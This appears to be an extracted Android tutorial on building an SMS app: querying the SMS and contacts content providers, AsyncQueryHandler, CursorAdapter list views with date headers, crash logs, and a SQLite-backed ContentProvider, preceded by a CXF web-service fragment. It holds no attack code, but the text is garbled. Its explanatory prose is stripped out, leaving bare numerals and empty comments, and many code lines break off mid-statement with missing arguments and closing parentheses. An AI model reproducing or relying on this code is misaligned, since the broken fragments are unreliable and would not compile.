				public	static	void	main(String[]	args)	{
								PersonServiceService	pss	=	new	PersonServiceService();
								PersonService	ps	=	pss.getPersonServicePort();
								Person	person	=	ps.findPersonByIdCard("001");
								System.out.println(person);
				}
}



CXF

1CXF? 	 	

2CXF

	

3



4Ant



query
case	SMS_CONVERSATIONS:
①
qb.setTables("sms,	(SELECT	thread_id	AS	group_thread_id,	MAX(date)AS	group_date,"
							+	"COUNT(*)	AS	msg_count	FROM	sms	GROUP	BY	thread_id)	AS	groups");
②
qb.appendWhere("sms.thread_id	=	groups.group_thread_id	AND	sms.date	="
							+	"groups.group_date");
③
qb.setProjectionMap(sConversationProjectionMap);
break;
select
sConversationProjectionMap.put(Sms.Conversations.SNIPPET,"sms.body	AS	snippet");
sConversationProjectionMap.put(Sms.Conversations.THREAD_ID,"sms.thread_id	AS	thread_id");
sConversationProjectionMap.put(Sms.Conversations.MESSAGE_COUNT,"groups.msg_count	AS	msg_count");
sConversationProjectionMap.put("delta",	null);

1groups
SELECT		thread_id	AS	group_thread_id	,	MAX(date)	AS	group_date	,	COUNT(*)	AS

msg_count	

FROM		sms		GROUP	BY		thread_id	;

2smsgroups

SELECT	sms.thread_id	AS	thread_id,	sms.body	AS	snippet,	groups.msg_count	AS

msg_count	

FROM	sms,(SELECT	thread_id	AS	group_thread_id,	MAX(date)AS

group_date,COUNT(*)	AS	msg_count	FROM	sms	GROUP	BY	thread_id)	AS	groups

WHERE	sms.thread_id	=	groups.group_thread_id	AND	sms.date	=

groups.group_date;



3
	id
SELECT

						sms.thread_id	AS	thread_id,groups.msg_count	AS	msg_count,sms.body	AS

snippet,sms.date	AS	date,sms.address	AS	address					

FROM	

					sms,	(SELECT	thread_id	AS	group_thread_id,	MAX(date)AS

group_date,COUNT(*)	AS	msg_count	FROM	sms	GROUP	BY	thread_id)	AS	groups					

WHERE

					sms.thread_id	=	groups.group_thread_id	and	sms.date	=	groups.group_date





1ListView 2ListViewCursorAdapter
3AsyncQueryHandler
AsyncQueryHandlerContentResolver.query()
ContentResolver
1AsyncQueryHandler
2AsyncQueryHandlerstartQuery()	 mWorkerThreadHandler
WorkerHandler
3WorkerHandlerhandleMessage()resolver.query()
reply.sendToTarget()AsyncQueryHandler
4AsyncQueryHandlerhandleMessage(Message)onQueryComplete(token,
args.cookie,	(Cursor)	args.result)
5onQueryComplete()
protected	void	onQueryComplete(int	token,	Object	cookie,	Cursor	cursor)	{
								//	Empty}
6cursor



		

Date	date	=	new	Date();
Time	time	=	new	Time();
time.set(date.getTime());
//time.setToNow();//	
time.hour	=	0;
time.minute	=	0;
time.second	=	0;
firstMillis	=	time.toMillis(true);

View	view	=	View.inflate(context,	R.layout.item_conversation,	parent);
//parent
01-20	12:05:29.741:	E/AndroidRuntime(3596):
java.lang.UnsupportedOperationException:	addView(View,	LayoutParams)	is	not
supported	in	AdapterView



private	class	MessageAddressAdapter	extends	CursorAdapter	{
				private	final	LayoutInflater	inflater;
				/*
					*	constraint	
					*/
				@Override
				public	Cursor	runQueryOnBackgroundThread(CharSequence	constraint)	{
								if	(TextUtils.isEmpty(constraint))	{
												return	null;
								}
								//	
								ContentResolver	resolver	=	getContentResolver();
								Uri	uri	=	ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
								//	content://com.android.contacts/data/phones/
								String[]	projection	=	CONTACT_PROJECTION;
								String	selection	=	ContactsContract.CommonDataKinds.Phone.NUMBER+"	like	'%"
								//data1	like	'%...%'
								Cursor	cursor	=	resolver.query(uri,	projection,	selection,	null,	null);
								return	cursor;
				}
				public	MessageAddressAdapter(Context	context,	Cursor	c,
												boolean	autoRequery)	{
								super(context,	c,	autoRequery);
								inflater	=	LayoutInflater.from(context);
				}
				@Override
				public	View	newView(Context	context,	Cursor	cursor,	ViewGroup	parent)	{
								
								View	view	=	inflater.inflate(R.layout.item_new_message,	parent,	false);
								
								ViewHolder	holder	=	new	ViewHolder();
								holder.tvContactName	=	(TextView)	view.findViewById(R.id.tv_contact_name
								holder.tvContactAddress	=	(TextView)	view.findViewById(R.id.tv_contact_address
								
								view.setTag(holder);
								return	view;



				}
				@Override
				public	void	bindView(View	view,	Context	context,	Cursor	cursor)	{
								ViewHolder	holder	=	(ViewHolder)	view.getTag();
								//	
								String	contactDisplayName	=	cursor.getString(DISPLAY_NAME_COLUMN_INDEX
								String	contactNumber	=	cursor.getString(NUMBER_COLUMN_INDEX);
								//	
								holder.tvContactName.setText(contactDisplayName);
								holder.tvContactAddress.setText(contactNumber);
				}
}

id
_id
private	static	final	String[]	CONTACT_PROJECTION	=	new	String[]	{
								ContactsContract.Contacts._ID,//	java.lang.IllegalArgumentException:	column	'_id'	does	not	exist
								ContactsContract.Contacts.DISPLAY_NAME,	//	
								ContactsContract.CommonDataKinds.Phone.NUMBER,//	
};
private	static	final	int	NUMBER_COLUMN_INDEX	=	1;
private	static	final	int	DISPLAY_NAME_COLUMN_INDEX	=	2;	
......	
//	
ContentResolver	resolver	=	getContentResolver();
Uri	uri	=	ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
//	content://com.android.contacts/data/phones/
String[]	projection	=	CONTACT_PROJECTION;
String	selection	=	ContactsContract.CommonDataKinds.Phone.NUMBER+"	like	'%"
//data1	like	'%...%'
Cursor	cursor	=	resolver.query(uri,	projection,	selection,	null,	null);	

	ContactsContract.Contacts._ID
	
01-24	10:08:56.541:	E/AndroidRuntime(1650):	java.lang.IllegalArgumentException:	column	'_id'	does	not
exist





//	NOTES======================================================
/**
	*	ViewHolder
	*	@author	hacket
	*
	*/
private	static	class	ViewHolder	{
				private	TextView	tvContactName;
				private	TextView	tvContactAddress;
}
/**
	*	
	*	@author	hacket
	*
	*/
private	class	MessageAddressAdapter	extends	CursorAdapter	{
				private	final	LayoutInflater	inflater;
				/*
					*	constraint	
					*/
				@Override
				public	Cursor	runQueryOnBackgroundThread(CharSequence	constraint)	{
								if	(TextUtils.isEmpty(constraint))	{
												return	null;
								}
								//	
								ContentResolver	resolver	=	getContentResolver();
								Uri	uri	=	ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
								//	content://com.android.contacts/data/phones/
								String[]	projection	=	CONTACT_PROJECTION;
								String	selection	=	ContactsContract.CommonDataKinds.Phone.NUMBER+"	like	'%"
								//data1	like	'%...%'
								Cursor	cursor	=	resolver.query(uri,	projection,	selection,	null,	null);
								return	cursor;
				}
				public	MessageAddressAdapter(Context	context,	Cursor	c,



												boolean	autoRequery)	{
								super(context,	c,	autoRequery);
								inflater	=	LayoutInflater.from(context);
				}
				@Override
				public	View	newView(Context	context,	Cursor	cursor,	ViewGroup	parent)	{
								
								View	view	=	inflater.inflate(R.layout.item_new_message,	parent,	false);
								
								ViewHolder	holder	=	new	ViewHolder();
								holder.tvContactName	=	(TextView)	view.findViewById(R.id.tv_contact_name
								holder.tvContactAddress	=	(TextView)	view.findViewById(R.id.tv_contact_address
								
								view.setTag(holder);
								return	view;
				}
				@Override
				public	void	bindView(View	view,	Context	context,	Cursor	cursor)	{
								ViewHolder	holder	=	(ViewHolder)	view.getTag();
								//	
								String	contactDisplayName	=	cursor.getString(DISPLAY_NAME_COLUMN_INDEX
								String	contactNumber	=	cursor.getString(NUMBER_COLUMN_INDEX);
								//	
								holder.tvContactName.setText(contactDisplayName);
								holder.tvContactAddress.setText(contactNumber);
				}
}
/**
	*	
	*/
private	void	setAutoTextComplete()	{
				addressAdapter	=	new	MessageAddressAdapter(this,	null,	true);
				
				actAddress.setAdapter(addressAdapter);
				//	
				actAddress.setOnItemClickListener(new	OnItemClickListener()	{
								@Override



								public	void	onItemClick(AdapterView<?>	parent,	View	view,
																int	position,	long	id)	{
												//	
												Cursor	cursor	=	(Cursor)	addressAdapter.getItem(position);
												String	contactNumber	=	cursor.getString(NUMBER_COLUMN_INDEX);
												String	contactDisplayName	=	cursor.getString(DISPLAY_NAME_COLUMN_INDEX
												if	(!TextUtils.isEmpty(contactDisplayName))	{
																actAddress.setText(contactNumber+"("+contactDisplayName+")");
												}	else	{
																actAddress.setText(contactNumber);
												}
								}
				});
}

①

	
②





package	cn.zengfansheng.ui;
import	android.app.Activity;
import	android.content.AsyncQueryHandler;
import	android.content.ContentResolver;
import	android.content.Intent;
import	android.database.Cursor;
import	android.net.Uri;
import	android.os.Bundle;
import	android.provider.ContactsContract.PhoneLookup;
import	android.text.format.DateFormat;
import	android.text.format.DateUtils;
import	android.text.format.Time;
import	android.widget.ImageView;
import	android.widget.TextView;
import	cn.zengfansheng.intellectualsms.R;
import	cn.zengfansheng.utils.Sms;
/**
	*	
	*	
	*	@author	hacket
	*	
	*/
public	class	SmsDetailActivity	extends	Activity	{
				private	ImageView	ivContactIcon;
				private	TextView	tvContactName;
				private	TextView	tvContactNumber;
				private	TextView	tvSmsType;
				private	TextView	tvSmsDate;
				private	TextView	tvSmsBody;
				private	String	_id;
				private	static	final	String[]	SMS_PROJECTION	=	new	String[]	{	"_id",
												"address",	"type",	"date",	"body"	};
				private	static	final	int	ID_COLUMN_INDEX	=	0;
				private	static	final	int	ADDRESS_COLUMN_INDEX	=	1;
				private	static	final	int	TYPE_COLUMN_INDEX	=	2;
				private	static	final	int	DATE_COLUMN_INDEX	=	3;



				private	static	final	int	BODY_COLUMN_INDEX	=	4;
				private	static	final	String[]	CONTACT_PROJECTION	=	new	String[]	{	PhoneLookup.
				private	static	final	int	DISPLAY_NAME_COLUMN_INDEX	=	0;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_sms_detail);
								intiView();
								getIntentData();
								startQuery();
				}
				/**
					*	3
					*/
				private	void	startQuery()	{
								MyAsycnQueryHandler	queryHandler	=	new	MyAsycnQueryHandler(getContentResolver());
								Uri	uri	=	Uri.parse("content://sms");
								String	selection	=	"_id=?";
								String[]	selectionArgs	=	{_id};
								queryHandler.startQuery(0,	null,	uri,	SMS_PROJECTION,	selection,	selectionArgs,	
				}
				/**
					*	3-2
					*/
				private	class	MyAsycnQueryHandler	extends	AsyncQueryHandler	{
								public	MyAsycnQueryHandler(ContentResolver	cr)	{
												super(cr);
								}
								@Override
								protected	void	onQueryComplete(int	token,	Object	cookie,	Cursor	cursor)	{
												super.onQueryComplete(token,	cookie,	cursor);
												setDate(cursor);
								}
				}
				
				/**
					*	3-3



					*/
				private	void	setDate(Cursor	cursor)	{
								if	(!cursor.moveToNext())	{
												System.out.println("cursor" );
												return;
								}
								System.out.println("cursor" );
								//	
								//1
								String	contactNumber	=	cursor.getString(ADDRESS_COLUMN_INDEX);
								//2								
								String	contactName	=	null;//	
								Uri	uri	=	Uri.withAppendedPath(PhoneLookup.CONTENT_FILTER_URI,	Uri.
								Cursor	contactsCursor	=	getContentResolver().query(uri	,	CONTACT_PROJECTION
								if	(contactsCursor	!=	null	&&	contactsCursor.moveToNext())	{
												contactName	=	contactsCursor.getString(DISPLAY_NAME_COLUMN_INDEX
								}
								if	(contactsCursor	!=	null)	{
												contactsCursor.close();
								}
								//3
								int	smsType	=	cursor.getInt(TYPE_COLUMN_INDEX);
								String	smsTypeStr	=	null;
								switch	(smsType)	{
								case	Sms.INBOX.TYPE:
												smsTypeStr	=	"" ;
												break;
								case	Sms.SENT.TYPE:
												smsTypeStr	=	"" ;
												break;
								}
								//4
								Time	time	=	new	Time();
								time.setToNow();
								time.hour	=	0;
								time.minute	=	0;
								time.second	=	0;



								long	smsDate	=	cursor.getLong(DATE_COLUMN_INDEX);
								long	firstsecondOfToday	=	time.toMillis(false);
								long	dMillis	=	smsDate	-	firstsecondOfToday;
								String	smsDateStr	=	null;
								if	(dMillis	>	0	&&	dMillis	<	DateUtils.DAY_IN_MILLIS)	{//	86400000
												//	
												smsDateStr	=	DateFormat.getTimeFormat(this).format(smsDate);
								}	else	{
												//	
												smsDateStr	=	DateFormat.getDateFormat(this).format(smsDate);
								}
								//5
								String	smsBody	=	cursor.getString(BODY_COLUMN_INDEX);
								
								//	
								//	2-1
								if	(contactName	==	null)	{
												//	
												//	①
												ivContactIcon.setImageDrawable(getResources()
																				.getDrawable(R.drawable.ic_unknown_picture_normal));
								}	else	{
												//	
												//	①
												ivContactIcon.setImageDrawable(getResources()
																				.getDrawable(R.drawable.ic_contact_picture));
												//	②
												tvContactName.setText(contactName);
								}
								//	②
								tvContactNumber.setText(contactNumber);
								//	2-2
								tvSmsType.setText(smsTypeStr);
								tvSmsDate.setText(smsDateStr);
								tvSmsBody.setText(smsBody);
				}
				/**



					*	2:_id
					*/
				private	void	getIntentData()	{
								Intent	intent	=	getIntent();
								_id	=	intent.getStringExtra("_id");
				}
				/**
					*	1
					*/
				private	void	intiView()	{
								ivContactIcon	=	(ImageView)	this.findViewById(R.id.iv_contact_icon);
								tvContactName	=	(TextView)	this.findViewById(R.id.tv_contact_name);
								tvContactNumber	=	(TextView)	this.findViewById(R.id.tv_contact_address
								tvSmsType	=	(TextView)	this.findViewById(R.id.tv_sms_type);
								tvSmsDate	=	(TextView)	this.findViewById(R.id.tv_sms_date);
								tvSmsBody	=	(TextView)	this.findViewById(R.id.tv_sms_body);
				}
}
cursorcursor-1
01-25	13:29:56.731:	E/AndroidRuntime(1574):	android.database.CursorIndexOutOfBoundsException:	Index
-1	requested,	with	a	size	of	1

cursor.moveToNext()



ListViewposition

Map
1datePositionMap<Integer,String>	



keyListViewposition
valueposition
2changePositionMap<Integer,Integer>
keyListViewposition
valueListViewposition
1	 AsyncQueryHandler	onQueryCompleteMap
@Override
protected	void	onQueryComplete(int	token,	Object	cookie,	Cursor	cursor)	{
				super.onQueryComplete(token,	cookie,	cursor);
				if	(cursor	==	null)	{
								return;
				}
				int	count	=	cursor.getCount();
				if	(count	>	0)	{
								int	dateCount	=	0;//	
								while	(cursor.moveToNext())	{
												int	position	=	cursor.getPosition();
												
												//	1
												long	date	=	cursor.getLong(DATE_COLUMN_INDEX);
												String	dateStr	=	DateFormat.getDateFormat(context).format(date);
												
												//	2map
												if	(!datePositionMap.containsValue(dateStr))	{//	datePositionMap
																datePositionMap.put(position	+	dateCount,	dateStr);
																dateCount++;
												}
												//	changePositionMap
												changePositionMap.put(position	+	dateCount,	position);
								}
				}
				//	
				cursor.move(-1);
				mCursor	=	cursor;
				folderListAdapter.changeCursor(cursor);
}	
2CursorgetCount()getView()



@Override
public	int	getCount()	{
				return	super.getCount()	+	datePositionMap.size();//	+
}
getView()
public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{
								if	(!mDataValid)	{
												throw	new	IllegalStateException("this	should	only	be	called	when	the	cursor	is	valid"
								}
								if	(!mCursor.moveToPosition(position))	{
												throw	new	IllegalStateException("couldn't	move	cursor	to	position	"	+	position);
								}
								View	v;
								if	(convertView	==	null)	{
												v	=	newView(mContext,	mCursor,	parent);
								}	else	{
												v	=	convertView;
								}
								bindView(v,	mContext,	mCursor);
								return	v;
				}
getView()
@Override
public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{
				
				//	positionposition
				if	(datePositionMap.containsKey(position))	{
								//	datePositionMapposition
								TextView	tvDate	=	(TextView)	View.inflate(mContext,R.layout.folder_detail_date_item
								String	dateStr	=	datePositionMap.get(position);
								tvDate.setText(dateStr);
								return	tvDate;
				}	else	{
								//	datePositionMap
								//	if	(!mCursor.moveToPosition(position))	{
								//	positionpositionpositionposition
								if	(!mCursor.moveToPosition(changePositionMap.get(position)))	{



												throw	new	IllegalStateException("couldn't	move	cursor	to	position	"	+	position);
								}
								View	v;
								if	(convertView	==	null	||	(convertView.getTag()	==	null))	{//	tvDateconvertViewnull

												v	=	newView(mContext,	mCursor,	parent);
								}	else	{
												v	=	convertView;
								}
								bindView(v,	mContext,	mCursor);
								return	v;
				}
}
3position
①listviewitem
lvFolderDetail.setOnItemClickListener(new	OnItemClickListener()	{
				@Override
				public	void	onItemClick(AdapterView<?>	parent,	View	view,
												int	position,	long	id)	{
								if	(datePositionMap.containsKey(position))	{
												view.setFocusable(false);
												view.setClickable(false);
												return;
								}
								//	id
								Cursor	cursor	=	(Cursor)	folderListAdapter.getItem(changePositionMap.get(position));
								String	_id	=	cursor.getString(ID_COLUMN_INDEX);
								Intent	intent	=	new	Intent(FolderListActivity.this,SmsDetailActivity.class);
								intent.putExtra("_id",	_id);
								FolderListActivity.this.startActivity(intent);
				}
});
②ListViewcursor
if	(!mCursor.moveToPosition(changePositionMap.get(position)))	{}



	 FolderListActivity.java
package	cn.zengfansheng.ui;
	
import	java.util.HashMap;
	
import	android.app.Activity;
import	android.content.AsyncQueryHandler;
import	android.content.Context;
import	android.content.Intent;
import	android.database.Cursor;
import	android.net.Uri;
import	android.os.Bundle;
import	android.provider.ContactsContract.PhoneLookup;
import	android.text.format.DateFormat;
import	android.text.format.DateUtils;
import	android.text.format.Time;
import	android.view.LayoutInflater;
import	android.view.View;
import	android.view.ViewGroup;



import	android.widget.AdapterView;
import	android.widget.AdapterView.OnItemClickListener;
import	android.widget.Button;
import	android.widget.CursorAdapter;
import	android.widget.ImageView;
import	android.widget.ListView;
import	android.widget.TextView;
import	cn.zengfansheng.intellectualsms.R;
import	cn.zengfansheng.utils.Sms;
	
/**
*	Activity
*	@author	hacket
*/
public	class	FolderListActivity	extends	Activity	{
	
				private	Button	btnFolderNewMsg;
				private	ListView	lvFolderDetail;
	
				private	static	final	int	INBOX_COLUMN_INDEX	=	0;
				private	static	final	int	OUTBOX_COLUMN_INDEX	=	1;
				private	static	final	int	SENT_COLUMN_INDEX	=	2;
				private	static	final	int	DRAFT_COLUMN_INDEX	=	3;
	
				private	String	msgType;//	
				private	int	clickPosition;//	
				private	FolderListAdapter	folderListAdapter;
	
				private	static	final	String[]	SMS_PROJECTION	=	new	String[]	{	"_id",
												"address",	"date",	"type",	"body"	};
	
				private	static	final	int	ID_COLUMN_INDEX	=	0;
				private	static	final	int	ADDRESS_COLUMN_INDEX	=	1;
				private	static	final	int	DATE_COLUMN_INDEX	=	2;
				private	static	final	int	TYPE_COLUMN_INDEX	=	3;
				private	static	final	int	BODY_COLUMN_INDEX	=	4;
	
				private	static	final	String[]	CONTACT_PROJECTION	=	new	String[]	{
PhoneLookup.DISPLAY_NAME	};
	
				private	static	final	int	DISPLAY_NAME_COLUMN_INDEX	=	0;
	



				/**
					*	key:position
					*
					*	value:
					*/
				private	HashMap<Integer,	String>	datePositionMap;
				/**
					*	key:position
					*
					*	value:position
					*/
				private	HashMap<Integer,	Integer>	changePositionMap;
	
				/**
					*	cursor
					*/
				private	Cursor	mCursor;
	
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_folder_type);
	
								initView();
	
								getIntentData();
	
								setListView();
	
								startQuery();
				}
	
				//	NOTES===================4====================
	
				/**
					*	4
					*/
				private	void	startQuery()	{
	
								MyAsyncQueryHandler	queryHandler	=	new	MyAsyncQueryHandler(this);
								Uri	uri	=	null;
								//



								switch	(clickPosition)	{
								case	INBOX_COLUMN_INDEX://
												uri	=	Sms.INBOX.CONTENT_URI;//content://sms/inbox
												break;
								case	OUTBOX_COLUMN_INDEX://
												uri	=	Sms.OUTBOX.CONTENT_URI;//content://sms/outbox
												break;
								case	SENT_COLUMN_INDEX://
												uri	=	Sms.SENT.CONTENT_URI;//content://sms/sent
												break;
								case	DRAFT_COLUMN_INDEX://
												uri	=	Sms.DRAFT.CONTENT_URI;//content://sms/draft
												break;
								}
								queryHandler.startQuery(0,	null,	uri	,	SMS_PROJECTION,	null,	null,	"	DATE	DESC"
	
				}
	
				/**
					*	MyAsyncQueryHandler
					*/
				private	class	MyAsyncQueryHandler	extends	AsyncQueryHandler	{
	
								private	final	Context	context;
	
								public	MyAsyncQueryHandler(Context	context)	{
												super(context.getContentResolver());
												this.context	=	context;
								}
	
								@Override
								protected	void	onQueryComplete(int	token,	Object	cookie,	Cursor	cursor)	{
												super.onQueryComplete(token,	cookie,	cursor);
	
												if	(cursor	==	null)	{
																return;
												}
	
												int	count	=	cursor.getCount();
												if	(count	>	0)	{
	
																int	dateCount	=	0;//	



																while	(cursor.moveToNext())	{
																				int	position	=	cursor.getPosition();
	
																				//	1
																				long	date	=	cursor.getLong(DATE_COLUMN_INDEX);
																				String	dateStr	=	DateFormat.getDateFormat(context).format(
																												date);
	
																				//	2map
																				if	(!datePositionMap.containsValue(dateStr))	{//	datePositionMap
																								datePositionMap.put(position	+	dateCount,	dateStr);
																								dateCount++;
																}
																				//	changePositionMap
																				changePositionMap.put(position	+	dateCount,	position);
												}
												}
	
												//	
												cursor.move(-1);
	
												mCursor	=	cursor;
												folderListAdapter.changeCursor(cursor);
								}
	
				}
				//	NOTES=================3ListView===================
				/**
					*	3ListView
					*/
				private	void	setListView()	{
	
								folderListAdapter	=	new	FolderListAdapter(this,	null,	true);
								lvFolderDetail.setAdapter(folderListAdapter);
	
								lvFolderDetail.setOnItemClickListener(new	OnItemClickListener()	{
	
												@Override
												public	void	onItemClick(AdapterView<?>	parent,	View	view,
																				int	position,	long	id)	{
	
																if	(datePositionMap.containsKey(position))	{



																				view.setFocusable(false);
																				view.setClickable(false);
																				return;
																}
	
																//	id
																Cursor	cursor	=	(Cursor)	folderListAdapter.getItem(changePositionMap.get(position));
																String	_id	=	cursor.getString(ID_COLUMN_INDEX);
																Intent	intent	=	new	Intent(FolderListActivity.this,SmsDetailActivity.class);
																intent.putExtra("_id",	_id);
																FolderListActivity.this.startActivity(intent);
												}
	
								});
				}
	
				/**
					*	CursorAdapter
					*/
				private	class	FolderListAdapter	extends	CursorAdapter	{
	
								private	final	LayoutInflater	inflater;
								private	final	long	firstsecondOfToday;
								private	final	Context	mContext;
	
								public	FolderListAdapter(Context	context,	Cursor	c,	boolean	autoRequery)	{
												super(context,	c,	autoRequery);
	
												mContext	=	context;
	
												inflater	=	LayoutInflater.from(context);
	
												Time	time	=	new	Time();
												time.setToNow();
												time.hour	=	0;
												time.minute	=	0;
												time.second	=	0;
	
												firstsecondOfToday	=	time.toMillis(false);
								}
	
								@Override



								public	int	getCount()	{
												return	super.getCount()	+	datePositionMap.size();//	+
								}
	
								@Override
								public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{
	
												//	positionposition
	
												if	(datePositionMap.containsKey(position))	{
																//	datePositionMapposition
																TextView	tvDate	=	(TextView)	View.inflate(mContext,R.layout.folder_detail_date_item,	null);
																String	dateStr	=	datePositionMap.get(position);
																tvDate.setText(dateStr);
																return	tvDate;
												}	else	{
																//	datePositionMap
	
																//	if	(!mCursor.moveToPosition(position))	{
																//	positionpositionpositionposition
																if	(!mCursor.moveToPosition(changePositionMap.get(position)))	{
																				throw	new	IllegalStateException("couldn't	move	cursor	to	position	"	+	position);
																}
																View	v;
																if	(convertView	==	null	||	(convertView.getTag()	==	null))	{//	tvDateconvertViewnull
																				v	=	newView(mContext,	mCursor,	parent);
																}	else	{
																				v	=	convertView;
																}
																bindView(v,	mContext,	mCursor);
																return	v;
												}
	
								}
	
								@Override
								public	View	newView(Context	context,	Cursor	cursor,	ViewGroup	parent)	{
	
												ViewHolder	holder	=	null;
	
												View	view	=	inflater.inflate(R.layout.item_folder_type,	parent,	false);
												holder	=	new	ViewHolder();



												holder.ivFolderItemIcon	=	(ImageView)	view.findViewById(R.id.iv_folder_detail_item_icon);
												holder.tvFolderItemName	=	(TextView)	view.findViewById(R.id.tv_folder_detail_item_name);
												holder.tvFolderItemDate	=	(TextView)	view.findViewById(R.id.tv_folder_detail_item_date);
												holder.tvFolderItemBody	=	(TextView)	view.findViewById(R.id.tv_folder_detail_item_body);
	
												view.setTag(holder);
	
												return	view;
								}
	
								@Override
								public	void	bindView(View	view,	Context	context,	Cursor	cursor)	{
	
												ViewHolder	holder	=	(ViewHolder)	view.getTag();
	
												//	
												String	smsAddress	=	cursor.getString(ADDRESS_COLUMN_INDEX);
												long	smsDate	=	cursor.getLong(DATE_COLUMN_INDEX);
												String	smsBody	=	cursor.getString(BODY_COLUMN_INDEX);
												int	smsType	=	cursor.getInt(TYPE_COLUMN_INDEX);
	
												//	
												//	1
												String	contactName	=	null;//	
												Uri	uri	=	Uri.withAppendedPath(PhoneLookup.CONTENT_FILTER_URI,Uri.encode(smsAddress));
												Cursor	contactsCursor	=	getContentResolver().query(uri,
																				CONTACT_PROJECTION,	null,	null,	null);
												if	(contactsCursor	!=	null	&&	contactsCursor.moveToNext())	{
																contactName	=	contactsCursor.getString(DISPLAY_NAME_COLUMN_INDEX);
												}
	
												if	(contactsCursor	!=	null)	{
																contactsCursor.close();
												}
												if	(contactName	==	null)	{
																//	
																//	①
																holder.ivFolderItemIcon.setImageDrawable(getResources()
																								.getDrawable(R.drawable.ic_unknown_picture_normal));
																//	②
																holder.tvFolderItemName.setText(smsAddress);
												}	else	{



																//	
																//	①
																holder.ivFolderItemIcon.setImageDrawable(getResources()
																								.getDrawable(R.drawable.ic_contact_picture));
																//	②
																holder.tvFolderItemName.setText(contactName);
												}
	
												//	2
												holder.tvFolderItemBody.setText(smsBody);
	
												//	3
												//	
												long	dMillis	=	smsDate	-	firstsecondOfToday;
												if	(dMillis	>	0	&&	dMillis	<	DateUtils.DAY_IN_MILLIS)	{//	86400000
																//	
																String	dateFormat	=	DateFormat.getTimeFormat(context).format(smsDate);
																holder.tvFolderItemDate.setText(dateFormat);
												}	else	{
																//	
																String	dateFormat	=	DateFormat.getDateFormat(context).format(smsDate);
																holder.tvFolderItemDate.setText(dateFormat);
												}
	
												//4
								}
	
				}
	
				/**
					*	ViewHolder
					*/
				private	static	class	ViewHolder	{
								private	ImageView	ivFolderItemIcon;
								private	TextView	tvFolderItemName;
								private	TextView	tvFolderItemDate;
								private	TextView	tvFolderItemBody;
				}
				//	NOTES===========================	===========================
				/**
					*	2
					*/



				private	void	getIntentData()	{
	
								Intent	intent	=	getIntent();
	
								msgType	=	intent.getStringExtra("msgType");
								clickPosition	=	intent.getIntExtra("position",	INBOX_COLUMN_INDEX);
	
								//	
								setTitle(msgType);
				}
	
				/**
					*	1
					*/
				private	void	initView()	{
	
								btnFolderNewMsg	=	(Button)	this.findViewById(R.id.btn_folder_detail_new_message);
	
								lvFolderDetail	=	(ListView)	this.findViewById(R.id.lv_folder_detail_list);
	
								datePositionMap	=	new	HashMap<Integer,	String>();
								changePositionMap	=	new	HashMap<Integer,	Integer>();
				}
}

UnsupportedOperationException
01-25	15:19:34.493:	E/AndroidRuntime(1903):	java.lang.UnsupportedOperationException:
addView(View,	LayoutParams)	is	not	supported	in	AdapterView

CursorAdaptergetView()
TextView	tvDate	=	(TextView)	View.inflate(mContext,R.layout.folder_detail_date_item



-ListView

1 	SQLiteOpenHelper		
package	cn.zengfansheng.sms.db;
	
import	android.content.Context;
import	android.database.sqlite.SQLiteDatabase;
import	android.database.sqlite.SQLiteDatabase.CursorFactory;
import	android.database.sqlite.SQLiteOpenHelper;
	
/**
*	SQLiteOpenHelper
*
*	@author	hacket
*
*/
public	class	GroupSQLiteOpenHelper	extends	SQLiteOpenHelper	{
	
				private	static	final	String	DB_NAME	=	"mysms.db";
				private	static	final	int	DB_VERSION	=	1;
				//	
	
				private	static	GroupSQLiteOpenHelper	helper;
				private	GroupSQLiteOpenHelper(Context	context,	String	name,
												CursorFactory	factory,	int	version)	{
								super(context,	name,	factory,	version);
				}
	
				//	
				public	static	GroupSQLiteOpenHelper	getInstance(Context	context)	{
	
								if	(helper	==	null)	{//	2
	
												synchronized	(GroupSQLiteOpenHelper.class)	{//	11
	
																if	(helper	==	null)	{//	32
																				helper	=	new	GroupSQLiteOpenHelper(context,	DB_NAME,	null,DB_VERSION);
																}
												}
								}
								return	helper;



				}
	
				@Override
				public	void	onCreate(SQLiteDatabase	db)	{
								String	sql	=	"CREATE	TABLE	groups(_id	INTEGER	PRIMARY	KEY	AUTOINCREMENT,name	VARCHAR(20));"
								db.execSQL(sql);
								sql	=	"CREATE	TABLE	thread_group(_id	INTEGER	PRIMARY	KEY	AUTOINCREMENT,group_id	INTEGER,thread_id
INTEGER);";
								db.execSQL(sql);
				}
	
				@Override
				public	void	onUpgrade(SQLiteDatabase	db,	int	oldVersion,	int	newVersion)	{
	
				}
	
}

2	 (	cursor)
package	cn.zengfansheng.sms.provider;
import	android.content.ContentProvider;
import	android.content.ContentUris;
import	android.content.ContentValues;
import	android.content.UriMatcher;
import	android.database.Cursor;
import	android.database.sqlite.SQLiteDatabase;
import	android.net.Uri;
import	cn.zengfansheng.sms.db.GroupSQLiteOpenHelper;
/**
	*	
	*	@author	hacket
	*
	*/
public	class	GroupProvider	extends	ContentProvider	{
				//	1authority
				private	static	final	String	AUTHORITY	=	"cn.zengfansheng.sms.provider.GroupProvider"
				//	2UriMatcher
				private	static	UriMatcher	uriMatcher;
				
				private	static	final	int	GROUP_INSERT	=	01;



				private	static	final	int	GROUP_QUERY	=	02;
				
				//	3 uri(content:///path()/)
				private	static	final	String	GROUP_TABLE	=	"groups";
				static	{
								uriMatcher	=	new	UriMatcher(UriMatcher.NO_MATCH);//	-1
								
								uriMatcher.addURI(AUTHORITY,	GROUP_TABLE	+	"/insert",	GROUP_INSERT
								uriMatcher.addURI(AUTHORITY,	GROUP_TABLE	+	"/query",	GROUP_QUERY
				}
				//	4helper
				private	GroupSQLiteOpenHelper	helper;
				@Override
				public	boolean	onCreate()	{
								helper	=	GroupSQLiteOpenHelper.getInstance(getContext());
								return	true;
				}
				@Override
				public	Cursor	query(Uri	uri,	String[]	projection,	String	selection,
												String[]	selectionArgs,	String	sortOrder)	{
								SQLiteDatabase	database	=	helper.getReadableDatabase();
								int	queryMatch	=	uriMatcher.match(uri);
								switch	(queryMatch)	{
								case	GROUP_QUERY:
												if	(database.isOpen())	{
																Cursor	cursor	=	database.query(GROUP_TABLE,	projection,	selection,	selectionArgs,	
